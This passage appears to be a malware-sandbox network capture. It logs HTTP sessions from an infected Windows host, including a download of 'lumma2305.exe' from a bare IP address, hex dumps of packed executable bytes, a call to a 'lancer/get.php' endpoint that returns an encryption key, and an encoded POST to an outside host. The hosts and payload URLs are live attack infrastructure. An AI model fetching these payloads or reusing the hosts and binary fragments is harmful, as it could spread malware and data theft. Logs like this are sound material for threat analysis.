10 00 00 00 00 00 00 00 00 00 00 00 3c 14 2e 00 2c 01 00 00 00 80 59 00 02 26 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 59 00 38 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 98 3c 00 18 00 00 00 10 50 59 00 40 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELiLf'-@n.@<.,Y&`Y8@<PY@;@.text `.rdata2~@@.data0IP@.vmp) `.vmp@.vmpw.*x. `.reloc8`Y.@@.rsrc&Y .@@
May 24, 2024 09:43:05.465038061 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 50 3a 00 00 00 00 00 70 61 48 00 00 00 00 00 ce be 3b Data Ascii: :P:paH;X0<Esl=~nGE<$AI/.DDDAD5Gn+:
May 24, 2024 09:43:05.469935894 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 24, 2024 09:43:05.474625111 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `id$\;T%z79`aw8;oSZCc']rM:;D$*&b
May 24, 2024 09:43:05.474637032 CEST	1236	IN	Data Raw: 33 6f 00 ba 22 6c 00 0f fb 80 00 ae 77 6f 00 99 64 6c 00 0a ab 82 00 b5 ef 6b 00 0b 78 86 00 ae 3c 86 00 ad a5 6c 00 8f 3f 6b 00 6a 83 7d 00 f2 83 86 00 c3 14 85 00 a4 77 88 00 79 2e 99 00 aa bb 7f 00 f1 06 6d 00 c5 db 81 00 54 5f 6b 00 70 32 86 Data Ascii: 3o"lwodlkx<l?kj}wy.mT_kp28TlOn\|jmlD$8@d$6U2fft'D?VWx1 v7reLt$`pucPvf,d$h
May 24, 2024 09:43:05.474644899 CEST	32	IN	Data Raw: a3 1b 16 f6 82 a0 ef 1c e1 b0 aa a1 7b 75 0d bc 86 6d 9b 2c 96 0c 27 e2 c9 de 87 ec 07 f1 26 69 Data Ascii: {um,'&i
May 24, 2024 09:43:05.580435991 CEST	1236	IN	Data Raw: 69 63 66 a1 8e 89 88 98 cc ed a6 d6 02 a5 9c f5 e3 60 c6 19 64 47 a9 9b 94 48 e7 d0 78 d9 06 7b 74 23 7a 4e 3e bc f3 e9 c4 4d 2b 22 f6 99 1e f1 d6 2b b2 d4 8d ff 48 65 2a 09 f4 4d 28 fa 6f d8 69 c8 82 8f ec c7 5b b4 e6 5b b3 d4 d1 11 da fe 8f bf Data Ascii: icf`dGHx{t#zN>M+"+He*M(oi[[HK);jdqu^78XI'tTM}C`0CL+"Lc9dhmj~L+jtt1G8{Lwd[#,j?(D7vxWD ]zCMby~'=!
May 24, 2024 09:43:05.582242966 CEST	1236	IN	Data Raw: 86 0c 8e 34 dc ee 6a 00 b7 52 1a b0 35 1a 90 45 e6 14 af 72 8e 1a 83 70 1a 56 41 ff cf 60 11 95 7f 52 04 f0 05 ee 6a 80 b1 0d 1a 4d df c6 02 8d 82 44 11 95 ff d0 31 9b 56 91 e9 4d 9c e1 6b f1 aa 95 9c 68 71 0c cf f2 68 10 14 a0 ba 78 54 de 44 10 Data Ascii: 4jR5ErpVA`RjMD1VMkhqhxTDjS@jbt)Qn;bj}8Kk\(tONL%0$W55}6:}Rm2~yp3>{{Uk3r
May 24, 2024 09:43:05.586244106 CEST	1236	IN	Data Raw: 95 c8 d0 74 b0 95 17 0b ef 1c 88 a2 35 ec ce f3 8f 6d 3f e5 eb 93 43 60 5c 97 e1 9d 80 d0 1a de 38 61 e8 60 d0 ec 86 fa 16 51 37 4a 54 ff 88 f4 02 cf d0 46 26 39 c4 0e 86 64 94 4d c7 d0 a0 00 e8 b5 18 60 7d f9 19 bd c2 a1 19 23 af af fe 91 ef e2 Data Ascii: t5m?C`\8a`Q7JTF&9dM`}#3?HlN}vZd$V2k\$A\|$AE2D$'X2cVfS/D$xq2gmh!d$g
May 24, 2024 09:43:05.590193033 CEST	1236	IN	Data Raw: 37 66 34 21 23 aa 18 82 73 5a 68 dd 5f d2 01 51 b6 54 19 6e 31 80 3f d2 8b e2 6e 00 93 d4 81 e8 68 06 fd ba fb 92 1a 74 ab 5a f8 69 db 0a 23 11 7c 1e c7 35 af 5e f8 39 b7 56 a7 75 74 66 eb f6 51 e2 80 42 e0 e7 81 c9 53 d7 b9 62 25 24 4d bd d3 40 Data Ascii: 7f4!#sZh_QTn1?nhtZi#\|5^9VutfQBSb%$M@B+>yt.lOt{Ta4%/PZ$&'-mD)0v+l;1^kYyC,fTd+K_C{nrmrsa0bwuHj"@#&HBM,>z
May 24, 2024 09:43:05.590204954 CEST	1236	IN	Data Raw: 31 f1 43 0c d0 a3 e5 32 5f 54 d1 d2 1e f5 03 f0 dd e2 27 78 a4 5f e7 ff 7b 77 64 0b ee 61 1f db c8 67 82 9d e3 8f 9c bb 5e 31 4f 6b 78 37 d2 b5 cb df cc 6b 8e f9 87 e3 f0 7f 9a 6d 1c cd 18 d1 0d 8b 03 95 ff cd 15 b5 7f db 2c 69 a0 62 f6 3b f2 f7 Data Ascii: 1C2_T'x_{wdag^1Okx7km,ib;(<!&'(qZn\|_a~ \|heAxCEKm(;O%$1iF8$7p\P1Q[nCaFI#MM~n@}G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49939	5.42.65.116	80	4460	C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:09.185156107 CEST	219	OUT	HEAD /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 09:43:09.858695030 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 07:43:09 GMT Server: Python/3.12 aiohttp/3.9.5
May 24, 2024 09:43:09.859203100 CEST	218	OUT	GET /lumma2305.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 5.42.65.116 Cache-Control: no-cache
May 24, 2024 09:43:10.061336994 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 468480 Date: Fri, 24 May 2024 07:43:09 GMT Server: Python/3.12 aiohttp/3.9.5
May 24, 2024 09:43:10.062949896 CEST	1236	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$I/\|\|\|}\|}\|}\|}\|\|V\|l}\|l}\|l}@\|o}\|o}\|Rich\|PE
May 24, 2024 09:43:10.062987089 CEST	224	IN	Data Raw: af 41 00 e8 d1 36 00 00 8b 5d 08 33 ff 8b c7 89 45 e8 ff 75 0c e8 42 7e 00 00 59 8b c8 89 4d e4 8b 03 8b 40 04 8b 74 18 20 8b 44 18 24 3b c7 7c 16 7f 0e 3b f7 76 10 3b c7 7c 0c 7f 04 3b f1 76 06 2b f1 1b c7 eb 0e 0f 57 c0 66 0f 13 45 dc 8b 45 e0 Data Ascii: A6]3EuB~YM@t D$;\|;v;\|;v+WfEEuESM(}uj^}AD%@t<E;\|3;v-HD@PL8tsuEEEAL8WuuP$;EuE;uA
May 24, 2024 09:43:10.067073107 CEST	1236	IN	Data Raw: 45 ec 3b c7 7c 33 7f 04 3b f7 76 2d 8b 03 8b 48 04 0f b6 44 19 40 50 8b 4c 19 38 e8 bd 0c 00 00 83 f8 ff 74 1b 83 c6 ff 89 75 dc 8b 45 ec 83 d0 ff 89 45 ec 89 45 e0 eb c9 6a 04 5e 8b d7 eb 08 6a 04 5e 8b d6 89 55 e8 8b 03 8b 40 04 89 7c 18 20 89 Data Ascii: E;\|3;v-HD@PL8tuEEEj^j^U@\| \|$M;MPBj^j39J8EVh;@M3j^]UHW39y8EqV8M4D$=rPYtP>4Y3D$H#;
May 24, 2024 09:43:10.070972919 CEST	1236	IN	Data Raw: 66 14 00 e8 4e fc ff ff 5f 8b c6 5e c2 08 00 8b 54 24 04 56 8b f1 89 16 8b 02 8b 40 04 8b 4c 10 38 85 c9 74 05 8b 01 ff 50 04 8b c6 5e c2 04 00 55 8b ec 83 ec 1c a1 00 2f 47 00 33 c5 89 45 fc 8b 45 10 56 83 ec 18 8b f1 8b cc 50 e8 31 ff ff ff ff Data Ascii: fN_^T$V@L8tP^U/G3EEVP1uEuP$PIMMUNM4A3V^/Vt$WVa4AFVGW_^Vt$<A^Vt$$A^a
May 24, 2024 09:43:10.071006060 CEST	1236	IN	Data Raw: 65 fc 00 8b 06 8b 48 04 83 7c 31 0c 00 75 2a f6 44 31 14 02 74 23 8b 4c 31 38 8b 01 ff 50 34 83 f8 ff 75 15 8b 06 8b 48 04 03 ce 6a 00 8b 41 0c 83 c8 04 50 e8 08 01 00 00 83 4d fc ff e8 83 2b 00 00 c3 b8 95 1b 40 00 c3 cc cc cc cc cc 56 8b 74 24 Data Ascii: eH\|1u*D1t#L18P4uHjAPM+@Vt$jVQ6fF^UMhNBEPY<VFv@P6YYfF^hA{h$ApD$=?wP@YUS]W
May 24, 2024 09:43:10.071022987 CEST	1236	IN	Data Raw: f8 ff 59 59 0f 95 c0 5d c3 55 8b ec 83 ec 0c 8b 55 08 53 8b d9 56 be ff ff ff 7f 8b c6 8b 4b 10 2b c1 89 4d f4 3b c2 0f 82 90 00 00 00 8b 43 14 57 56 8d 3c 11 89 45 f8 50 57 e8 c9 f9 ff ff 8b f0 8d 4e 01 51 e8 00 f2 ff ff 83 c4 10 89 45 fc 8b cb Data Ascii: YY]UUSVK+M;CWV<EPWNQEY}{}sWv,3Vu1MEE@DPVuuSVs1E7D73/_^[jAE&jM5P>G@>Geu3M
May 24, 2024 09:43:10.078979015 CEST	1236	IN	Data Raw: 64 a1 00 00 00 00 50 a1 00 2f 47 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 83 65 fc 00 51 c7 01 24 df 41 00 e8 be 1b 00 00 59 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc cc cc cc 56 8b 71 34 c7 01 44 df 41 00 85 f6 74 11 8b ce e8 ca 00 00 00 6a 08 Data Ascii: dP/G3PEdeQ$AYMdYVq4DAtjV!YY^9t1UjhAdPVW/G3PEdV~,Ytv,rY3~,9~$tv$_Y~$9~tvNY~9~tv=Y~9~tv,Y~9~t
May 24, 2024 09:43:10.082200050 CEST	1236	IN	Data Raw: 00 00 83 c4 10 3b f0 75 09 80 7b 3d 00 0f 94 c0 eb c9 32 c0 eb c5 55 8b ec 51 53 8b 5d 08 56 57 8b f9 8b 77 10 8b c6 2b c3 89 75 fc 3b 45 0c 72 03 8b 45 0c 83 7f 14 0f 76 02 8b 0f 8d 14 19 2b f0 8b ce 03 c2 2b cb 41 51 50 52 e8 18 28 00 00 83 c4 Data Ascii: ;u{=2UQS]VWw+u;ErEv++AQPR(Vuw_^[j8EA}3]tG9uCjpYu!]tMPMCAf37tMjXxj8tA}3]tC97u?j
May 24, 2024 09:43:10.082232952 CEST	1236	IN	Data Raw: 0c 74 19 57 8d 79 08 0f b6 06 57 50 e8 90 0f 00 00 88 06 46 59 59 3b 75 0c 75 ec 5f 8b c6 5e 5d c2 08 00 55 8b ec 8d 41 08 50 0f b6 45 08 50 e8 79 10 00 00 59 59 5d c2 04 00 55 8b ec 56 8b 75 08 3b 75 0c 74 19 57 8d 79 08 0f b6 06 57 50 e8 59 10 Data Ascii: tWyWPFYY;uu_^]UAPEPyYY]UVu;utWyWPYFYY;uu_^]UMEjX]UE]UM+MQuu"E]UVuYP^]UVEf<j F8?~8F@uFjP
May 24, 2024 09:43:10.088711977 CEST	1236	IN	Data Raw: 56 6a ff 8b 70 0c 8b ce ff 15 40 d1 41 00 8b cf ff d6 5e 83 f8 ff 74 15 ff 77 4c e8 17 62 00 00 59 33 c9 85 c0 5f 0f 99 c1 8d 41 ff c3 33 c0 5f c3 33 c0 c3 6a 30 b8 9e b1 41 00 e8 b7 13 00 00 8b d9 8b 43 1c 8b 08 85 c9 74 23 8b 53 2c 8b 32 8d 04 Data Ascii: Vjp@A^twLbY3_A3_3j0ACt#S,21;sFKBN{Lu@KL39S8uQEPYYtE3}UEUQUbPM}MS8UvME}E

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49963	125.7.253.10	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:13.845485926 CEST	129	OUT	GET /lancer/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
May 24, 2024 09:43:15.340352058 CEST	765	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:32 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 561 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 79 71 38 33 45 46 38 36 4c 4d 73 54 45 31 6c 33 38 4a 6a 4d 5c 5c 6e 4e 4e 52 49 56 79 65 42 56 79 6d 36 6a 5a 34 45 6e 37 6e 61 51 72 45 64 77 79 71 74 69 32 57 73 47 4c 73 69 46 77 66 75 74 64 43 58 64 44 61 39 78 71 51 31 34 47 31 51 75 6d 61 2b 32 4e 45 4d 5c 5c 6e 4e 35 74 71 41 77 73 6c 68 4c 58 73 6b 34 6e 6c 46 54 39 62 7a 6c 5c 2f 6f 77 44 47 41 69 47 72 45 45 58 31 66 64 2b 65 69 78 33 68 51 46 79 35 76 52 31 4a 77 34 49 51 52 74 71 33 4e 6d 78 4a 64 5c 5c 6e 2b 50 42 4a 44 30 55 37 36 4e 32 67 59 73 68 43 34 62 4f 6a 55 68 61 46 66 5a 30 5c 2f 4c 66 42 6e 6a 63 46 52 41 65 75 36 68 55 61 4b 6a 75 39 62 4b 37 48 71 41 44 63 6a 77 79 33 46 5c 2f 74 79 56 5c 5c 6e 5c 2f 34 65 76 51 50 50 48 74 68 71 5a [TRUNCATED] Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyq83EF86LMsTE1l38JjM\\nNNRIVyeBVym6jZ4En7naQrEdwyqti2WsGLsiFwfutdCXdDa9xqQ14G1Quma+2NEM\\nN5tqAwslhLXsk4nlFT9bzl\/owDGAiGrEEX1fd+eix3hQFy5vR1Jw4IQRtq3NmxJd\\n+PBJD0U76N2gYshC4bOjUhaFfZ0\/LfBnjcFRAeu6hUaKju9bK7HqADcjwy3F\/tyV\\n\/4evQPPHthqZOjpoDhO6N00nhEqrJoDieP\/D1Qv2poLmpa9grff40hshTKOrqi2\/\\nm7bekFKLEV5ZJcjhwOglYDwbwDr0KRkx8Dq3sGAqazJx3F\/xUcK7Gijtpr5GeRgZ\\njQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"5FNTzAEAXNKeuOxt2K8NzDah7Je273rF0AikSRK5"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	50024	185.22.66.16	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:42.785233974 CEST	380	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?DsLygfFkDtSUzoPXLskPMSsoCsdOUcoMp HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: www.rapidfilestorage.com Connection: Keep-Alive
May 24, 2024 09:43:43.603126049 CEST	383	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 07:43:43 GMT Content-Type: text/plain Content-Length: 10 Connection: keep-alive Set-Cookie: slb_route=e8ece0a0e90e75d863fdb615384c4a62; Path=/; Secure; HttpOnly Last-Modified: Fri, 26 Apr 2024 16:19:22 GMT ETag: "662bd40a-a" Accept-Ranges: bytes X-Resolver-IP: 185.22.66.16 X-Resolver-IP: 185.22.66.16 Data Raw: 32 2e 30 2e 30 2e 33 31 35 36 Data Ascii: 2.0.0.3156

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	50028	194.67.87.38	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:44.108830929 CEST	372	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?yridnKKpbdJYVEHZJqSrfasMFFFRjtwTc HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: helsinki-dtc.com Connection: Keep-Alive
May 24, 2024 09:43:44.820353031 CEST	264	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:44 GMT Content-Type: text/plain Content-Length: 10 Last-Modified: Fri, 26 Apr 2024 16:30:25 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "662bd6a1-a" Accept-Ranges: bytes Data Raw: 32 2e 30 2e 30 2e 33 31 35 36 Data Ascii: 2.0.0.3156

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	50031	108.156.60.94	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:45.030404091 CEST	384	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?LFZzyYVkTHiaNSeYFhtmmATBTnawwPTbi HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: skrptfiles.tracemonitors.com Connection: Keep-Alive
May 24, 2024 09:43:45.639590025 CEST	499	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 10 Connection: keep-alive Last-Modified: Fri, 26 Apr 2024 16:30:30 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 23 May 2024 13:03:53 GMT ETag: "7cd87a7be31d1136f722e801719f6da3" X-Cache: Hit from cloudfront Via: 1.1 96e04892ec84a7161914f66c3ba3b5f0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-P2 X-Amz-Cf-Id: VAuHZ3_-kBRV0jYq6Eg6n5Y67zrz4jJpXSDRdbZA9a_S2XOH9Roxkg== Age: 67192
May 24, 2024 09:43:45.764352083 CEST	10	IN	Data Raw: 32 2e 30 2e 30 2e 33 31 35 36 Data Ascii: 2.0.0.3156

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	50036	185.22.66.15	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:49.179508924 CEST	380	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?UpwSZgXsDgQfkvaUXNvOwUFqZvqIRnwsE HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: www.rapidfilestorage.com Connection: Keep-Alive
May 24, 2024 09:43:49.986747980 CEST	383	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 07:43:49 GMT Content-Type: text/plain Content-Length: 10 Connection: keep-alive Set-Cookie: slb_route=ee59f2a210e54315305d041b7b45ee4e; Path=/; Secure; HttpOnly Last-Modified: Fri, 26 Apr 2024 16:19:22 GMT ETag: "662bd40a-a" Accept-Ranges: bytes X-Resolver-IP: 185.22.66.15 X-Resolver-IP: 185.22.66.15 Data Raw: 32 2e 30 2e 30 2e 33 31 35 36 Data Ascii: 2.0.0.3156

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	50039	185.22.66.15	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:49.590017080 CEST	195	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: www.rapidfilestorage.com
May 24, 2024 09:43:50.940550089 CEST	383	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 24 May 2024 07:43:50 GMT Content-Type: text/plain Content-Length: 10 Connection: keep-alive Set-Cookie: slb_route=11248a44b4b3a3291277f6086762b568; Path=/; Secure; HttpOnly Last-Modified: Fri, 26 Apr 2024 16:19:22 GMT ETag: "662bd40a-a" Accept-Ranges: bytes X-Resolver-IP: 185.22.66.15 X-Resolver-IP: 185.22.66.15 Data Raw: 32 2e 30 2e 30 2e 33 31 35 36 Data Ascii: 2.0.0.3156

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	50040	194.67.87.38	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:50.052735090 CEST	372	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?AzauwHpECShdVTwDgNuFnzwhTvPUyzODY HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: helsinki-dtc.com Connection: Keep-Alive
May 24, 2024 09:43:50.779380083 CEST	264	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:50 GMT Content-Type: text/plain Content-Length: 10 Last-Modified: Fri, 26 Apr 2024 16:30:25 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "662bd6a1-a" Accept-Ranges: bytes Data Raw: 32 2e 30 2e 30 2e 33 31 35 36 Data Ascii: 2.0.0.3156

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	50041	44.235.180.78	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:50.453080893 CEST	1015	OUT	POST /api2/google_api_ifi HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/0 Safari/537.36 Host: api4.check-data.xyz Content-Length: 719 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 6b 3d 4d 5a 38 62 4a 31 42 79 4c 38 47 64 5a 34 6c 54 4f 37 63 5a 26 72 3d 59 5a 51 45 33 44 41 52 45 37 44 41 52 45 36 59 5a 51 45 36 4c 41 52 45 32 26 67 3d 49 45 52 45 31 4b 41 52 45 32 5a 5a 51 45 38 42 41 52 45 33 41 41 52 45 32 4c 41 52 45 34 43 41 52 45 38 57 5a 51 45 39 57 41 52 45 31 59 5a 51 45 37 48 45 52 45 32 4b 45 52 45 32 57 5a 51 45 38 57 41 52 45 37 5a 5a 51 45 31 4b 41 52 45 34 5a 5a 51 45 31 47 45 52 45 32 57 41 52 45 36 4c 41 52 45 30 57 5a 51 45 32 47 45 52 45 36 5a 5a 51 45 32 57 41 52 45 35 43 41 52 45 35 43 41 52 45 38 43 41 52 45 33 46 45 52 45 37 43 41 52 45 37 4a 45 52 45 37 5a 5a 51 45 36 4b 41 52 45 35 4b 45 52 45 37 43 41 52 45 33 46 45 52 45 32 48 45 52 45 37 26 76 3d 42 41 52 45 31 56 41 52 45 30 44 41 52 45 30 56 41 52 45 36 44 41 52 45 33 56 41 52 45 34 41 41 52 45 30 43 41 52 45 36 57 5a 51 45 30 58 5a 51 45 34 26 63 3d 57 43 52 45 36 4c 43 52 45 33 57 44 52 45 37 49 43 52 45 33 4e 43 52 45 34 4c 43 52 45 31 56 43 52 45 39 4e 43 52 45 32 57 44 52 45 35 43 41 52 45 [TRUNCATED] Data Ascii: k=MZ8bJ1ByL8GdZ4lTO7cZ&r=YZQE3DARE7DARE6YZQE6LARE2&g=IERE1KARE2ZZQE8BARE3AARE2LARE4CARE8WZQE9WARE1YZQE7HERE2KERE2WZQE8WARE7ZZQE1KARE4ZZQE1GERE2WARE6LARE0WZQE2GERE6ZZQE2WARE5CARE5CARE8CARE3FERE7CARE7JERE7ZZQE6KARE5KERE7CARE3FERE2HERE7&v=BARE1VARE0DARE0VARE6DARE3VARE4AARE0CARE6WZQE0XZQE4&c=WCRE6LCRE3WDRE7ICRE3NCRE4LCRE1VCRE9NCRE2WDRE5CARE6&u=ZZQE2DARE4IERE2FERE0XZQE2YZQE7LARE3IERE9HERE5LARE1WZQE4WZQE5ZZQE0ZZQE0XZQE4XZQE9JERE3KERE0ZZQE4HERE0XZQE5YZQE1WZQE9WZQE3HERE3DARE4FERE9CARE2CARE1DARE5ZZQE8YZQE2&rg=HERE1YZQE1BARE3HERE2BARE2IERE1YZQE7AARE1WARE4FERE6CARE4HERE8HERE3WARE7DARE2KARE7AARE4GERE9WARE0FERE4BARE1HERE4BARE3WARE4XZQE0XZQE2KERE8XZQE7GERE9HERE2JERE6WZQE0KARE1WZQE6KARE0ZZQE2&w=YZQE1BARE8YZQE8ZZQE4DARE7AARE9
May 24, 2024 09:43:51.093233109 CEST	404	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Cache-control: no-cache="set-cookie" Content-Type: text/html; charset=UTF-8 Date: Fri, 24 May 2024 07:45:37 GMT Server: nginx Set-Cookie: AWSELB=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9824CDF98F06272B58281A369C0E7C7AE6EC5781D948882C8767BA08E2574E7340BD1AEA80ADD88F1586867317B7C62D227;PATH=/;MAX-AGE=43200 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	50043	108.156.60.94	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:50.993658066 CEST	384	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?LxlZlCxuXYRHbtlzSxncMCSwYMAvxDTkL HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: skrptfiles.tracemonitors.com Connection: Keep-Alive
May 24, 2024 09:43:51.687473059 CEST	499	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 10 Connection: keep-alive Last-Modified: Fri, 26 Apr 2024 16:30:30 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 23 May 2024 13:05:24 GMT ETag: "7cd87a7be31d1136f722e801719f6da3" X-Cache: Hit from cloudfront Via: 1.1 3bdef981159de9c713020c64476ba0e4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-P2 X-Amz-Cf-Id: kX830xSMaTI5ju85uIcqjXrM1TXiOPuL7i6uyItyY5od2FOyQab1jg== Age: 67198
May 24, 2024 09:43:51.823386908 CEST	10	IN	Data Raw: 32 2e 30 2e 30 2e 33 31 35 36 Data Ascii: 2.0.0.3156

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	50044	194.67.87.38	80

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:43:51.061609983 CEST	187	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: helsinki-dtc.com
